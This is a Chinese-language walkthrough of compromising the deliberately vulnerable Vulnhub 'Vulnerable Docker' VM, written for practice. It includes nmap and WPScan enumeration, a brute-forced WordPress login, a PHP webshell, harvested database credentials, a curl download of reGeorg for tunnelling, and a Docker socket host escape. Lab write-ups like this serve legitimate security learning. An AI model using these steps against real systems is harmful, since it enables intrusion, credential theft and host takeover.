記一次對Vulnerable Docker靶機滲透全過程

記一次對Vulnerable Docker靶機滲透全過程

Vulnhub它是一個提供各種漏洞環境的平臺,裏面大部分的環境是要用VMware或者VirtualBox打開運行的。

今天我主要是使用VMware搭建一個Vulnerable Docker靶機環境,主要是爲了練習使用。

完整找出所有flag只是基本任務,實現提權纔是終極目標。我並不追求最快奪旗,而是儘可能運用所學的知識完整的運用在這套靶機中,所以,

這篇文章中,或許某些內容對拿到flag無直接幫助,但在應對真實目標時,還是有一點幫助的。

0x01:Vulnerable Docker靶機下載

https://www.vulnhub.com

裏面有各種各樣的鏡像,可以下載到自己的機子上面練習。

(需要我們注意的是,下載靶機環境的時候,我們需要提前看清這個靶機環境是否支持VMware的安裝,否則就不可以安裝在VWMare上面)

今天我們選擇的是使用Vulnerable Docker: 1靶機環境

首先:這個靶機環境支持VMware環境的安裝。

其次:靶機環境比較簡單(flag只有三個)

靶機下載地址:Downloadhttps://download.vulnhub.com/vulnerabledocker/vulnerable_docker_containement.ova

0x02:Vulnerable Docker靶機安裝

下載完成之後就會看見有ova格式的文件

雙擊導入VMware中就可以了(具體操作過程)

點擊下一步:

最後等待導入完成,導入速度看本機性能和鏡像的大小

再對靶機環境進行配置一下:

啓動Vulnerable Docker靶機就可以看見

0x03:完成任務!

作者給我們的描述是:這裏裏面有三個flag(其中的flag_2被發行者無意中遺漏了)

We have planted 3 flag files across the various machines / systems that are available to you

Your mission if you choose to accept would be as following:

Identify all the flags (2 in total: flag_1 and flag_3) (flag_2 was inadvertently left out)

1:網絡掃描

啓動Vulnerable Docker靶機就可以看見:

使用nmap對靶機IP地址進行掃描:

nmap -A 192.168.232.134

2:flag_1

我們先打開8000端口,看看有沒有flag

使用WPscan進行漏洞掃描:

wpscan --url http://192.168.232.134:8000/

打開鏈接:http://192.168.232.134:8000/robots.txt

使用WPscan進行枚舉用戶名:

wpscan --url http://192.168.232.134:8000/ --enumerate u

按照正常思維對用戶名進行爆破:

wpscan --url http://192.168.232.134:8000/ -e u --wordlist /root/桌面/1.txt

並沒有爆破得到任何信息(QAQ):

這個時候需要我們再回頭開始看起,看見一個鏈接,wordpress的登錄端口:http://192.168.232.134:8000/wp-admin/

使用剛剛爆破出來的用戶名bob填進去就可以了,而在這裏的密碼需要使用burp進行爆破(具體操作過程)

爆破得到:

成功登錄後臺(經過一系列的亂翻之後就會找到)

3:flag_3

這下面的操作是在我的另一個kali中的操作(具體原因下文會提到)

如果可以進入Wordpress的後臺,那麼拿shell就很簡單了,使用在線編輯功能就可以。

使用菜刀上傳一句話(php)

連上shell後收集了下面的一些信息

數據庫中的信息:

define('DB_NAME', 'wordpress');
define('DB_USER', 'wordpress');
define('DB_PASSWORD', 'WordPressISBest');
define('DB_HOST', 'db:3306');

系統是 Linux 8f4bca8ef241 3.13.0-128-generic #177-Ubuntu SMP Tue Aug 8 11:40:23 UTC 2017 x86_64 GNU/Linux,用戶是

www-data,這麼新的系統直接就可以放棄提權了,否則Dirty COW之類的洞還是超級好用的,不過我們可以參考下面這一篇文章,找到一點靈感

可以參考Tunnel Manager - From RCE to Docker Escapehttps://paper.seebug.org/396/

ip addr

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default 
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
   valid_lft forever preferred_lft forever
5: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.2/16 scope global eth0
   valid_lft forever preferred_lft forever

想起題目是Vulnerable Docker VM,猜想應該就是docker.sock或者HTTP API未授權訪問之類的問題,不過翻了下沒找到什麼。

但是看機器的IP,感覺這個虛擬機裏面應該還有個docker network的內網,簡單的ping了下,發現至少是存在172.18.0.1-4的,這時候

需要做一下內網穿透,這樣方便在我的電腦上操作,否則shell裏面缺少很多工具和依賴,比較麻煩。

我使用的是 reGeorghttps://github.com/sensepost/reGeorg

curl -o tunnel.php 

https://raw.githubusercontent.com/sensepost/reGeorg/master/tunnel.nosocket.php

瀏覽器訪問了一下,顯示Georg says,'All seems fine'

本地電腦上運行python reGeorgSocksProxy.py -u http://192.168.30.171:8000/tunnel.php

[INFO   ]  Log Level set to [INFO]
[INFO   ]  Starting socks server [127.0.0.1:8888], tunnel at [http://192.168.30.171:8000/tunnel.php]
[INFO   ]  Checking if Georg is ready
[INFO   ]  Georg says, 'All seems fine'

因爲reGeorg提供的是socks5代理,所以需要本地使用proxychains具體配置不多說了

proxychains mysql -u wordpress -pWordPressISBest -h 172.18.0.4 連接數據庫,

但是並沒有找到什麼 flag,然後繼續掃內網,還是nmap那一堆命令加上proxychains前綴就好。

然後發現一個IP有個奇怪的端口

Nmap scan report for 172.18.0.3
Host is up (0.0062s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp   open  ssh
8022/tcp open  oa-system

curl看了下,貌似是一個網頁,然後在設置了瀏覽器的socks5代理,就看到了,原來是一個網頁版ssh,而且這裏面終於有docker.sock

接下來就是老套路了,可以參考 :Docker學習與remote API未授權訪問分析和利用https://www.secpulse.com/archives/55928.html

而我是直接在另一個kali中裏面安裝了一個docker,這樣就可以操作主機上的docker了。

然後使用volume掛載主機上的所有文件到一個目錄

docker run -it --rm -v /:/vol wordpress /bin/bash

這樣就可以看到flag_3

關於這一個靶機漏洞可以學習到很多知識

首先:關於wordpress漏洞

其次:提權中遇到的關於Tunnel Manager - From RCE to Docker Escape漏洞

最後:關於Docker的自學以及Docker學習與remote API未授權訪問分析和利用

參考資料:

Vulnerable Docker靶機下載https://www.vulnhub.com/entry/vulnerable-docker-1,208/

Docker學習與remote API未授權訪問分析和利用https://www.secpulse.com/archives/55928.html

WPScan使用完整教程之記一次對WordPress的滲透過程: https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=46194&page=1#pid511454

Docker學習https://www.bilibili.com/video/av17854410?from=search&seid=13990341548063716463

Tunnel Manager - From RCE to Docker Escapehttps://paper.seebug.org/396/

reGeorghttps://github.com/sensepost/reGeorg

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章